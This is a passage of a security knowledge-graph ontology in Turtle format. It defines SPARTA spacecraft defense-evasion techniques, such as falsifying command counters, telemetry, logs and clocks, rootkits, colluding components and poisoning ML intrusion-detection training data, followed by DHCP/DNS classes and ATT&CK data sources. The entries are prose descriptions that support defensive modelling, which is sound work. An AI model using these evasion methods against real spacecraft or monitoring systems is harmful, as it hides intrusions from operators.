    d3f:attack-id "DE-0003.01" ;
    d3f:definition "Threat actors may attempt to hide their attempted attacks by modifying the onboard Vehicle Command Counter (VCC). This value is also sent with telemetry status to the ground controller, letting them know how many commands have been sent. By modifying this value, threat actors may prevent ground controllers from immediately discovering their activity." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0003/01/> ;
    rdfs:subClassOf d3f:DE-0003 ;
    skos:prefLabel "Vehicle Command Counter (VCC)" .

d3f:DE-0003.02 a owl:Class ;
    rdfs:label "Rejected Command Counter - SPARTA" ;
    d3f:attack-id "DE-0003.02" ;
    d3f:definition "Threat actors may attempt to hide their attempted attacks by modifying the onboard Rejected Command Counter. Similarly to the VCC, the Rejected Command Counter keeps track of how many commands that were rejected by the spacecraft for some reason. Threat actors may target this counter in particular to ensure their various attempts are not discovered." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0003/02/> ;
    rdfs:subClassOf d3f:DE-0003 ;
    skos:prefLabel "Rejected Command Counter" .

d3f:DE-0003.03 a owl:Class ;
    rdfs:label "Command Receiver On/Off Mode - SPARTA" ;
    d3f:attack-id "DE-0003.03" ;
    d3f:definition "Threat actors may modify the command receiver mode, in particular turning it on or off. When the command receiver mode is turned off, the spacecraft can no longer receive commands in some capacity. Threat actors may use this time to ensure that ground controllers cannot prevent their code or commands from executing on the spacecraft." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0003/03/> ;
    rdfs:subClassOf d3f:DE-0003 ;
    skos:prefLabel "Command Receiver On/Off Mode" .

d3f:DE-0003.04 a owl:Class ;
    rdfs:label "Command Receivers Received Signal Strength - SPARTA" ;
    d3f:attack-id "DE-0003.04" ;
    d3f:definition "Threat actors may target the on-board command receivers received signal parameters (i.e., automatic gain control (AGC)) in order to stop specific commands or signals from being processed by the spacecraft. For ground controllers to communicate with spacecraft in orbit, the on-board receivers need to be configured to receive signals with a specific signal to noise ratio (ratio of signal power to the noise power). Targeting values related to the antenna signaling that are modifiable can prevent the spacecraft from receiving ground commands." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0003/04/> ;
    rdfs:subClassOf d3f:DE-0003 ;
    skos:prefLabel "Command Receivers Received Signal Strength" .

d3f:DE-0003.05 a owl:Class ;
    rdfs:label "Command Receiver Lock Modes - SPARTA" ;
    d3f:attack-id "DE-0003.05" ;
    d3f:definition "When the received signal strength reaches the established threshold for reliable communications, command receiver lock is achieved. Command lock indicates that the spacecraft is capable of receiving a command but doesn't require a command to be processed. Threat actors can attempt command lock to test their ability for future commanding and if they pre-positioned malware on the spacecraft it can target the modification of command lock value to avoid being detected that command lock has been achieved." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0003/05/> ;
    rdfs:subClassOf d3f:DE-0003 ;
    skos:prefLabel "Command Receiver Lock Modes" .

d3f:DE-0003.06 a owl:Class ;
    rdfs:label "Telemetry Downlink Modes - SPARTA" ;
    d3f:attack-id "DE-0003.06" ;
    d3f:definition "Threat actors may target the various downlink modes configured within the victim spacecraft. This value triggers the various modes that determine how telemetry is sent to the ground station, whether it be in real-time, playback, or others. By modifying the various modes, threat actors may be able to hide their campaigns for a period of time, allowing them to perform further, more sophisticated attacks." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0003/06/> ;
    rdfs:subClassOf d3f:DE-0003 ;
    skos:prefLabel "Telemetry Downlink Modes" .

d3f:DE-0003.07 a owl:Class ;
    rdfs:label "Cryptographic Modes - SPARTA" ;
    d3f:attack-id "DE-0003.07" ;
    d3f:definition "Threat actors may modify the internal cryptographic modes of the victim spacecraft. Most spacecraft, when cryptography is enabled, as the ability to change keys, algorithms, or turn the cryptographic module completely off. Threat actors may be able to target this value in order to hide their traffic. If the spacecraft in orbit cryptographic mode differs from the mode on the ground, communication can be stalled." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0003/07/> ;
    rdfs:subClassOf d3f:DE-0003 ;
    skos:prefLabel "Cryptographic Modes" .

d3f:DE-0003.08 a owl:Class ;
    rdfs:label "Received Commands - SPARTA" ;
    d3f:attack-id "DE-0003.08" ;
    d3f:definition "Satellites often record which commands were received and executed. These records can be routinely reflected in the telemetry or through ground operators specifically requesting them from the satellite. If an adversary has conducted a cyber attack against a satellite’s command system, this is an obvious source of identifying the attack and assessing the impact. If this data is not automatically generated and transmitted to the ground for analysis, the ground operators should routinely order and examine this data. For instance, commands or data uplinks that change stored command procedures will not necessarily create an observable in nominal telemetry, but may be ordered, examined, and identified in the command log of the system. Threat actors may manipulate these stored logs to avoid detection." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0003/08/> ;
    rdfs:subClassOf d3f:DE-0003 ;
    skos:prefLabel "Received Commands" .

d3f:DE-0003.09 a owl:Class ;
    rdfs:label "System Clock for Evasion - SPARTA" ;
    d3f:attack-id "DE-0003.09" ;
    d3f:definition "Telemetry frames are a snapshot of satellite data at a particular time. Timing information is included for when the data was recorded, near the header of the frame packets. There are several ways satellites calculate the current time, including through use of GPS. An adversary conducting a cyber attack may be interested in altering the system clock for a variety of reasons, including misrepresentation of when certain actions took place." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0003/09/> ;
    rdfs:subClassOf d3f:DE-0003 ;
    skos:prefLabel "System Clock for Evasion" .

d3f:DE-0003.10 a owl:Class ;
    rdfs:label "GPS Ephemeris - SPARTA" ;
    d3f:attack-id "DE-0003.10" ;
    d3f:definition "A satellite with a GPS receiver can use ephemeris data from GPS satellites to estimate its own position in space. A hostile actor could spoof the GPS signals to cause erroneous calculations of the satellite’s position. The received ephemeris data is often telemetered and can be monitored for indications of GPS spoofing. Reception of ephemeris data that changes suddenly without a reasonable explanation (such as a known GPS satellite handoff), could provide an indication of GPS spoofing and warrant further analysis. Threat actors could also change the course of the vehicle and falsify the telemetered data to temporarily convince ground operators the vehicle is still on a proper course." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0003/10/> ;
    rdfs:subClassOf d3f:DE-0003 ;
    skos:prefLabel "GPS Ephemeris" .

d3f:DE-0003.11 a owl:Class ;
    rdfs:label "Watchdog Timer (WDT) for Evasion - SPARTA" ;
    d3f:attack-id "DE-0003.11" ;
    d3f:definition "Threat actors may manipulate the WDT for several reasons including the manipulation of timeout values which could enable processes to run without interference - potentially depleting on-board resources." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0003/11/> ;
    rdfs:subClassOf d3f:DE-0003 ;
    skos:prefLabel "Watchdog Timer (WDT) for Evasion" .

d3f:DE-0003.12 a owl:Class ;
    rdfs:label "Poison AI/ML Training for Evasion - SPARTA" ;
    d3f:attack-id "DE-0003.12" ;
    d3f:definition "Threat actors may perform data poisoning attacks against the training data sets that are being used for security features driven by artificial intelligence (AI) and/or machine learning (ML). In the context of defense evasion, when the security features are informed by AI/ML an attacker may perform data poisoning to achieve evasion. The poisoning intentionally implants incorrect correlations in the model by modifying the training data thereby preventing the AI/ML from effectively detecting the attacks by the threat actor. For instance, if a threat actor has access to the dataset used to train a machine learning model for intrusion detection/prevention, they might want to inject tainted data to ensure their TTPs go undetected. With the datasets typically used for AI/ML (i.e., thousands and millions of data points), it would not be hard for a threat actor to inject poisoned examples without being noticed. When the AI model is trained with the tainted data, it will fail to detect the threat actor's TTPs thereby achieving the evasion goal." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0003/12/> ;
    rdfs:subClassOf d3f:DE-0003 ;
    skos:prefLabel "Poison AI/ML Training for Evasion" .

d3f:DE-0004 a owl:Class ;
    rdfs:label "Masquerading - SPARTA" ;
    d3f:attack-id "DE-0004" ;
    d3f:definition "Threat actors may gain access to a victim spacecraft by masquerading as an authorized entity. This can be done several ways, including through the manipulation of command headers, spoofing locations, or even leveraging Insider's access (i.e., Insider Threat)" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0004/> ;
    rdfs:subClassOf d3f:SPARTADefenseEvasionTechnique ;
    skos:prefLabel "Masquerading" .

d3f:DE-0005 a owl:Class ;
    rdfs:label "Subvert Protections via Safe-Mode - SPARTA" ;
    d3f:attack-id "DE-0005" ;
    d3f:definition "Threat actors may exploit safe mode to evade security controls and avoid detection by issuing commands or performing actions that would be blocked during nominal operations. In safe mode, spacecraft often disable telemetry filtering, authentication checks, or command restrictions to prioritize recovery, which can be subverted by an attacker to conceal malicious activity or establish a persistent foothold." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0005/> ;
    rdfs:subClassOf d3f:SPARTADefenseEvasionTechnique ;
    skos:prefLabel "Subvert Protections via Safe-Mode" .

d3f:DE-0006 a owl:Class ;
    rdfs:label "Modify Whitelist - SPARTA" ;
    d3f:attack-id "DE-0006" ;
    d3f:definition "Threat actors may target whitelists on the spacecrafts as a means to execute and/or hide malicious processes/programs. Whitelisting is a common technique used on traditional IT systems but has also been used on spacecrafts. Whitelisting is used to prevent execution of unknown or potentially malicious software. However, this technique can be bypassed if not implemented correctly but threat actors may also simply attempt to modify the whitelist outright to ensure their malicious software will operate on the spacecraft that utilizes whitelisting." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0006/> ;
    rdfs:subClassOf d3f:SPARTADefenseEvasionTechnique ;
    skos:prefLabel "Modify Whitelist" .

d3f:DE-0007 a owl:Class ;
    rdfs:label "Evasion via Rootkit - SPARTA" ;
    d3f:attack-id "DE-0007" ;
    d3f:definition "Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. Rootkits or rootkit enabling functionality may reside at the flight software  or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or System Firmware." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0007/> ;
    rdfs:subClassOf d3f:SPARTADefenseEvasionTechnique ;
    skos:prefLabel "Evasion via Rootkit" .

d3f:DE-0008 a owl:Class ;
    rdfs:label "Evasion via Bootkit - SPARTA" ;
    d3f:attack-id "DE-0008" ;
    d3f:definition "Adversaries may use bootkits to persist on systems and evade detection. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0008/> ;
    rdfs:subClassOf d3f:SPARTADefenseEvasionTechnique ;
    skos:prefLabel "Evasion via Bootkit" .

d3f:DE-0009.01 a owl:Class ;
    rdfs:label "Debris Field - SPARTA" ;
    d3f:attack-id "DE-0009.01" ;
    d3f:definition "Threat actors may hide their spacecraft by lying dormant within clusters of space junk or similar debris fields. This could serve several purposes including concealment of inspection activities being performed by the craft, as well as facilitating some future kinetic intercept/attack. Threat actors may also utilize the timing of a target spacecraft passing through a debris field to execute an onboard attack with cyber-physical implications, such as manipulating propulsion or actuators in some way, with the hope that ground operators may mistakenly attribute any resulting damage to debris collisions." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0009/01/> ;
    rdfs:subClassOf d3f:DE-0009 ;
    skos:prefLabel "Debris Field" .

d3f:DE-0009.02 a owl:Class ;
    rdfs:label "Space Weather - SPARTA" ;
    d3f:attack-id "DE-0009.02" ;
    d3f:definition "Space weather and its associated hazards imposed on spacecraft are a well-studied field of their own. However, it is also important to note the potential for threat actors to take advantage of heightened periods of solar activity to conduct electromagnetic interference (EMI) operations as they may be falsely attributed to natural events." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0009/02/> ;
    rdfs:subClassOf d3f:DE-0009 ;
    skos:prefLabel "Space Weather" .

d3f:DE-0009.03 a owl:Class ;
    rdfs:label "Trigger Premature Intercept - SPARTA" ;
    d3f:attack-id "DE-0009.03" ;
    d3f:definition "Threat actors may utilize decoy technology to disrupt detection and interception systems and deplete resources that might otherwise prevent an actual attack taking place simultaneously or shortly after the decoy is deployed." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0009/03/> ;
    rdfs:subClassOf d3f:DE-0009 ;
    skos:prefLabel "Trigger Premature Intercept" .

d3f:DE-0009.04 a owl:Class ;
    rdfs:label "Targeted Deception of Onboard SSA/SDA Sensors - SPARTA" ;
    d3f:attack-id "DE-0009.04" ;
    d3f:definition "Threat actors may intentionally degrade or manipulate the spacecraft’s onboard sensors or associated systems used for Space Domain Awareness (SDA). This allows an adversary to hide proximity operations, mislead threat detection logic, or disrupt autonomous responses by confusing local SDA feeds. Unlike debris field concealment, this technique targets the spacecraft's own perception systems through directed interference, spoofing, or environmental manipulation. There is a distinction with DE-0009.01 where threat actors could use debris or environment to hide themselves. Where with this sub-technique, the threat actor attacks your sensors so you can’t see them." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0009/04/> ;
    rdfs:subClassOf d3f:DE-0009 ;
    skos:prefLabel "Targeted Deception of Onboard SSA/SDA Sensors" .

d3f:DE-0009.05 a owl:Class ;
    rdfs:label "Corruption or Overload of Ground-Based SDA Systems - SPARTA" ;
    d3f:attack-id "DE-0009.05" ;
    d3f:definition "Threat actors may target the ground-based systems and data pipelines that support Space Domain Awareness (SDA), either by corrupting key data sources, manipulating tracking information, or overloading the ingestion architecture. The objective is to blind or confuse decision-makers and automated systems responsible for monitoring and responding to on-orbit activity. This includes compromising or spoofing telemetry, TLEs, sensor feeds, radar/optical returns, or orbital prediction services used by tracking centers. It also includes the enumeration and exploitation of analytic infrastructures, such as AI/ML-enhanced SDA platforms. In cases where SDA systems leverage AI/ML inference for object detection and decision support, attackers may seek to degrade model performance by flooding the data pipeline with misleading, noisy, adversarial, or low-quality sensor inputs. These disruptions aim to delay detection of threats, generate false positives, or cause resource exhaustion in SDA fusion and alerting systems. This sub-technique differs from onboard deception (e.g., sensor spoofing) by targeting the terrestrial decision support infrastructure, potentially affecting multiple spacecraft or operators simultaneously." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0009/05/> ;
    rdfs:subClassOf d3f:DE-0009 ;
    skos:prefLabel "Corruption or Overload of Ground-Based SDA Systems" .

d3f:DE-0010 a owl:Class ;
    rdfs:label "Overflow Audit Log - SPARTA" ;
    d3f:attack-id "DE-0010" ;
    d3f:definition "Threat actors may seek to exploit the inherent nature of flight software and its limited capacity for event logging/storage between downlink windows as a means to conceal malicious activity." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0010/> ;
    rdfs:subClassOf d3f:SPARTADefenseEvasionTechnique ;
    skos:prefLabel "Overflow Audit Log" .

d3f:DE-0011 a owl:Class ;
    rdfs:label "Credentialed Evasion - SPARTA" ;
    d3f:attack-id "DE-0011" ;
    d3f:definition "Threat actors may leverage valid credentials to conduct unauthorized actions against a spacecraft or related system in a way that conceals their presence and evades detection. By using trusted authentication mechanisms attackers can blend in with legitimate operations and avoid triggering access control alarms or anomaly detection systems. This technique enables evasion by appearing authorized, allowing adversaries to issue commands, access sensitive subsystems, or move laterally within spacecraft or constellation architectures without exploiting software vulnerabilities. When credential use is poorly segmented or monitored, this form of access can be used to maintain stealthy persistence or facilitate other tactics under the guise of legitimate activity." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0011/> ;
    rdfs:subClassOf d3f:SPARTADefenseEvasionTechnique ;
    skos:prefLabel "Credentialed Evasion" .

d3f:DE-0012 a owl:Class ;
    rdfs:label "Component Collusion - SPARTA" ;
    d3f:attack-id "DE-0012" ;
    d3f:definition """This technique involves two or more compromised components operating in coordination to conceal malicious activity. Threat actors compromise multiple software modules during the supply chain process and design them to behave cooperatively. Each component independently performs only a limited, seemingly benign function, such that when analyzed in isolation, no single module appears malicious. An example of implementation involves one component acting as a trigger agent, waiting for specific mission or system conditions (e.g., GPS fix, telemetry state) and writing a signal to a shared resource (e.g., file, bus). A separate action agent monitors this resource and only executes the malicious behavior (such as data exfiltration or command injection) upon receiving the trigger.
This division of responsibilities significantly undermines traditional detection techniques, such as log analysis, static code review, or heuristic-based behavior monitoring.""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0012/> ;
    rdfs:subClassOf d3f:SPARTADefenseEvasionTechnique ;
    skos:prefLabel "Component Collusion" .

d3f:DHCPInformEvent a owl:Class ;
    rdfs:label "DHCP Inform Event" ;
    d3f:definition "An event where a DHCP client sends an INFORM message to request configuration parameters, such as DNS or gateway information, without requiring IP address assignment." ;
    rdfs:subClassOf d3f:DHCPEvent ;
    skos:altLabel "DHCPINFORM" .

d3f:DHCPLeaseExpireEvent a owl:Class ;
    rdfs:label "DHCP Lease Expire Event" ;
    d3f:definition "An event indicating that a DHCP lease has expired, rendering the previously assigned IP address available for reassignment to other devices." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:DHCPAckEvent ],
        d3f:DHCPEvent ;
    skos:altLabel "DHCPLEASEEXPIRE" .

d3f:DHCPNakEvent a owl:Class ;
    rdfs:label "DHCP Nak Event" ;
    d3f:definition "An event where a DHCP server sends a NAK message to reject a client's REQUEST, indicating that the requested configuration cannot be granted." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:DHCPRequestEvent ],
        d3f:DHCPEvent ;
    skos:altLabel "DHCPNAK" .

d3f:DHCPReleaseEvent a owl:Class ;
    rdfs:label "DHCP Release Event" ;
    d3f:definition "An event where a DHCP client sends a RELEASE message to relinquish its assigned IP address and cancel any remaining lease duration." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:DHCPAckEvent ],
        d3f:DHCPEvent ;
    skos:altLabel "DHCPRELEASE" .

d3f:DHCPServer a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DHCP Server" ;
    d3f:contains d3f:DHCPServiceApplication ;
    d3f:definition "A Dynamic Host Configuration Protocol (DHCP) server is a type of server that assigns IP addresses to computers.  DHCP servers are used to assign IP addresses to computers and other devices automatically.  The DHCP server is responsible for assigning the unique IP address to each device." ;
    d3f:manages d3f:DHCPService ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Dynamic_Host_Configuration_Protocol> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:manages ;
            owl:someValuesFrom d3f:DHCPService ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:DHCPServiceApplication ],
        d3f:Server .

d3f:DNN-basedClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DNN-based Clustering" ;
    d3f:d3fend-id "D3A-DBC" ;
    d3f:definition "DNNs serve for clustering as mappings to better representations. The features of these representations can be drawn from different layers of the network or even from several layers." ;
    d3f:kb-article """## References
OpenReview. (n.d.). Unsupervised Clustering using Pseudo Ensemble Models. [Link](https://openreview.net/pdf?id=B1eT9VMgOX)""" ;
    rdfs:subClassOf d3f:ANN-basedClustering .

d3f:DNSResponseEvent a owl:Class ;
    rdfs:label "DNS Response Event" ;
    d3f:definition "An event where a DNS server responds to a query with resolution data." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:DNSQueryEvent ],
        d3f:DNSEvent .

d3f:DNSServer a owl:Class ;
    rdfs:label "DNS Server" ;
    d3f:definition """A Domain Name System (DNS) name server is a kind of name server.  Domain names are one of the two principal namespaces of the Internet. The most important function of DNS servers is the translation (resolution) of human-memorable domain names and hostnames into the corresponding numeric Internet Protocol (IP) addresses, the second principal name space of the Internet which is used to identify and locate computer systems and resources on the Internet. (en).

More generally, a name server is a computer application that implements a network service for providing responses to queries against a directory service. It translates an often humanly meaningful, text-based identifier to a system-internal, often numeric identification or addressing component. This service is performed by the server in response to a service protocol request.""" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Name_server> ;
    rdfs:subClassOf d3f:Server .

d3f:DS0001 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Firmware (ATT&CK DS)" ;
    d3f:definition "Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI" ;
    rdfs:comment "This data source captures events relating to firmware and therefore has no direct mappings to digital artifacts." .

d3f:DS0002 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "User Account (ATT&CK DS)" ;
    d3f:definition "A profile representing a user, device, service, or application used to authenticate and access resources" ;
    d3f:exactly d3f:UserAccount ;
    rdfs:comment "The digital artifact mapping for this data source is only applicable to the User Account Metadata component" .

d3f:DS0003 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Scheduled Job (ATT&CK DS)" ;
    d3f:definition "Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)" ;
    d3f:exactly d3f:ScheduledJob ;
    rdfs:comment "The digital artifact mapping for this data source is only applicable to the Scheduled Job Metadata component" .

d3f:DS0004 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Malware Repository (ATT&CK DS)" ;
    d3f:definition "Information obtained (via shared or submitted samples) regarding malicious software (droppers, backdoors, etc.) used by adversaries" ;
    d3f:narrower d3f:FileHash,
        d3f:ImageCodeSegment ;
    rdfs:comment "The digital artifact mapping for this data source is only applicable to the Scheduled Job Metadata component" .

d3f:DS0005 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "WMI (ATT&CK DS)" ;
    d3f:definition "The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers" ;
    rdfs:comment "This data source captures events relating to WMI objects and therefore has no direct mappings to digital artifacts." .

d3f:DS0006 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Web Credential (ATT&CK DS)" ;
    d3f:definition "Credential material, such as session cookies or tokens, used to authenticate to web applications and services" ;
    rdfs:comment "This data source captures events relating to web credentials and therefore has no direct mappings to digital artifacts." .

d3f:DS0007 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Image (ATT&CK DS)" ;
    d3f:definition "A single file used to deploy a virtual machine/bootable disk into an on-premise or third-party cloud environment" ;
    d3f:exactly d3f:VMImage ;
    rdfs:comment "The digital artifact mapping for this data source is only applicable to the Image Metadata component" .

d3f:DS0008 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Kernel (ATT&CK DS)" ;
    d3f:definition "A computer program, at the core of a computer OS, that resides in memory and facilitates interactions between hardware and software components" ;
    rdfs:comment "This data source captures events relating to kernel modules and therefore has no direct mappings to digital artifacts." .

d3f:DS0009 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Process (ATT&CK DS)" ;
    d3f:definition "Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures" ;
    d3f:exactly d3f:Process ;
    rdfs:comment "The digital artifact mapping for this data source is only applicable to the Process Metadata component" .

d3f:DS0010 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Cloud Storage (ATT&CK DS)" ;
    d3f:definition "Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APIs" ;
    d3f:exactly d3f:CloudStorage ;
    rdfs:comment "The digital artifact mapping for this data source is only applicable to the Cloud Storage Metadata component" .

d3f:DS0011 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Module (ATT&CK DS)" ;
    d3f:definition "Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries" ;
    rdfs:comment "This data source captures events relating to software libraries and therefore has no direct mappings to digital artifacts." .

d3f:DS0012 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Script (ATT&CK DS)" ;
    d3f:definition "A file or stream containing a list of commands, allowing them to be launched in sequence" ;
    rdfs:comment "This data source captures events relating to scripts and therefore has no direct mappings to digital artifacts." .

d3f:DS0013 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Sensor Health (ATT&CK DS)" ;
    d3f:definition "Information from host telemetry providing insights about system status, errors, or other notable functional activity" ;
    rdfs:comment "This data source currently has no mappings to digital artifacts." .

d3f:DS0014 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Pod (ATT&CK DS)" ;
    d3f:definition "A single unit of shared resources within a cluster, comprised of one or more containers" ;
    rdfs:comment "This data source captures events relating to pods and therefore has no direct mappings to digital artifacts." .

d3f:DS0015 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Application Log (ATT&CK DS)" ;
    d3f:broader d3f:Log ;
    d3f:definition "Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)" .

d3f:DS0016 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Drive (ATT&CK DS)" ;
    d3f:definition "A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter" ;
    rdfs:comment "This data source captures events relating to drives and therefore has no direct mappings to digital artifacts." .

d3f:DS0017 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Command (ATT&CK DS)" ;
    d3f:definition "A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task" ;
    rdfs:comment "This data source captures events relating to commands and therefore has no direct mappings to digital artifacts." .

d3f:DS0018 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Firewall (ATT&CK DS)" ;
    d3f:definition "A network security system, running locally on an endpoint or remotely as a service (ex: cloud environment), that monitors and controls incoming/outgoing network traffic based on predefined rules" ;
    d3f:exactly d3f:Firewall ;
    rdfs:comment "The digital artifact mapping for this data source is only applicable to the Firewall Metadata component" .

d3f:DS0019 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Service (ATT&CK DS)" ;
    d3f:definition "A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in" ;
    d3f:exactly d3f:ServiceApplicationProcess ;
    rdfs:comment "The digital artifact mapping for this data source is only applicable to the Service Metadata component" .

d3f:DS0020 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Snapshot (ATT&CK DS)" ;
    d3f:definition "A point-in-time copy of cloud volumes (files, settings, etc.) that can be created and/or deployed in cloud environments" ;
    d3f:exactly d3f:VolumeSnapshot ;
    rdfs:comment "The digital artifact mapping for this data source is only applicable to the Volume Metadata component" .

d3f:DS0021 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Persona (ATT&CK DS)" ;
    d3f:definition "A malicious online profile representing a user commonly used by adversaries to social engineer or otherwise target victims" ;
    rdfs:comment "This data source currently has no mappings to digital artifacts." .

d3f:DS0022 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "File (ATT&CK DS)" ;
    d3f:definition "A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media)" ;
    d3f:narrower d3f:FileSystemMetadata ;
    rdfs:comment "The digital artifact mapping for this data source is only applicable to the File Metadata component" .

d3f:DS0023 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Named Pipe (ATT&CK DS)" ;
    d3f:definition "Mechanisms that allow inter-process communication locally or over the network. A named pipe is usually found as a file and processes attach to it" ;
    d3f:exactly d3f:NamedPipe .

d3f:DS0024 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Windows Registry (ATT&CK DS)" ;
    d3f:definition "A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations" ;
    rdfs:comment "This data source captures events relating to Windows registry keys and values and therefore has no direct mappings to digital artifacts." .

d3f:DS0025 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Cloud Service (ATT&CK DS)" ;
    d3f:definition "Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs" ;
    rdfs:comment "This data source currently has no mappings to digital artifacts." .

d3f:DS0026 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Active Directory (ATT&CK DS)" ;
    d3f:definition "A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)" ;
    rdfs:comment "This data source captures events relating to Active Directory objects and therefore has no direct mappings to digital artifacts." .

d3f:DS0027 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Driver (ATT&CK DS)" ;
    d3f:definition "A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details about the hardware being used" ;
    rdfs:comment "This data source captures events relating to hardware drivers and therefore has no direct mappings to digital artifacts." .

d3f:DS0028 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Logon Session (ATT&CK DS)" ;
    d3f:broader d3f:LoginSession ;
    d3f:definition "Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorization" ;
    rdfs:comment "The digital artifact mapping for this data source is only applicable to the Login Session Metadata component" .

d3f:DS0029 a d3f:ATTACKEnterpriseDataSource,
        owl:NamedIndividual ;
    rdfs:label "Network Traffic (ATT&CK DS)" ;
    d3f:definition "Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)" ;
    d3f:exactly d3f:NetworkTraffic ;
